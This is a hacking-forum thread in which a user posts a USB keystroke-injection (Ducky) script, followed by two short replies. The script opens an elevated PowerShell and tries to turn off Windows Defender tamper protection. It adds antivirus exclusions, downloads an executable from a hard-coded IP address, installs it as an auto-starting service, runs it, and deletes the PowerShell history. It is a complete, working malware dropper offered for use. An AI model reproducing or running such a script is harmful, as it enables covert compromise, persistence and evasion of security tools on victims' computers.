

Forum:[Hack Forums](#)

Thread: [RD Payload for PowerShell Dropper](#)

DramaKing - December 30, 2024, 1:26 pm

Needed to code a Ducky script for something. This will download a file from a URL and create a service for it. The registry key change to disable the WD tamper protection may or may not work. WD's anti-tampering protects itself unless you click the switch in Windows Security.

Code REM TITLE Web Execute

REM AUTHOR DramaKing

REM DESCRIPTION Download and execute file hosted on web with persistence.

DELAY 500

WIN r

DELAY 500

CTRL ALT ENTER

DELAY 2000

ALT y

DELAY 2000

STRINGLN Set-ACL -on 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Features' -ot reg -actn setowner "n:Administrator"

DELAY 250

STRINGLN Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Features' -Name TamperProtection -Value 0

DELAY 250

STRINGLN Add-MpPreference -ExclusionPath C:\Windows\System32\winsrv.exe

DELAY 250

STRINGLN Add-MpPreference -ExclusionPath C:\Windows\SysWoW64\winsrv.exe

DELAY 250

STRINGLN curl http://164.152.25.107/winsrv.exe -OutFile .\winsrv.exe

DELAY 3000

STRINGLN New-Service -Name winsrv -BinaryPathName C:\Windows\System32\winsrv.exe -StartupType Automatic

ENTER

DELAY 500

STRINGLN Start-Service -Name winsrv

DELAY 1000

STRINGLN Remove-Item (Get-PSReadlineOption).HistorySavePath

DELAY 500

STRINGLN exit

#XmasOrnament2024

DramaKing - December 30, 2024, 5:57 pm

(Dec 30, 2024 03:31 PM)m0hx Wrote: [\[CITE\]](#) Off topic but y u no wear fallen userbar/color? Because I lost Ub3r and then forgot how to read it.

DarkNet - January 19, 2025, 2:32 am

?beautiful that's beautiful

